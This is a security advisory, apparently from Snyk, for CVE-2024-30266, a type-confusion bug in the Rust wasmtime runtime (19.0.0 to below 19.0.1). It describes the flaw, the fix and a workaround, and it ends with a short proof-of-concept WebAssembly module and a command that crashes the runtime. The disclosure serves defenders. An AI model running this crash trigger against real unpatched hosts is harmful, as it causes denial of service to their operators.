Access of Resource Using Incompatible Type ('Type Confusion') Affecting wasmtime package, versions >=19.0.0 <19.0.1
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUST-WASMTIME-6516633
- published 3 Apr 2024
- disclosed 2 Apr 2024
- credit ShinWonho
Introduced: 2 Apr 2024
CVE-2024-30266 Open this link in a new tabHow to fix?
Upgrade wasmtime
to version 19.0.1 or higher.
Overview
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to the use of a dropped externref
-typed element segment in conjunction with a table.*
instruction. An attacker can cause a denial-of-service by executing a valid WebAssembly module that triggers this panic.
Note:
This is only exploitable if the reference-types
WebAssembly feature is enabled, which is the default setting.
Workaround
This vulnerability can be mitigated by using config.reference_types(false)
to disable these modules at validation-time, preventing the possibility of a panic at runtime. If reference-types are required, then upgrading is the only other workaround.
PoC
;; table-init.wat
(module
(table 0 0 externref)
(func (export "table-init")
(i32.const 0)
(i32.const 0)
(i32.const 0)
(table.init 0 0)
)
(elem declare externref)
)
wasmtime --invoke table-init table-init.wat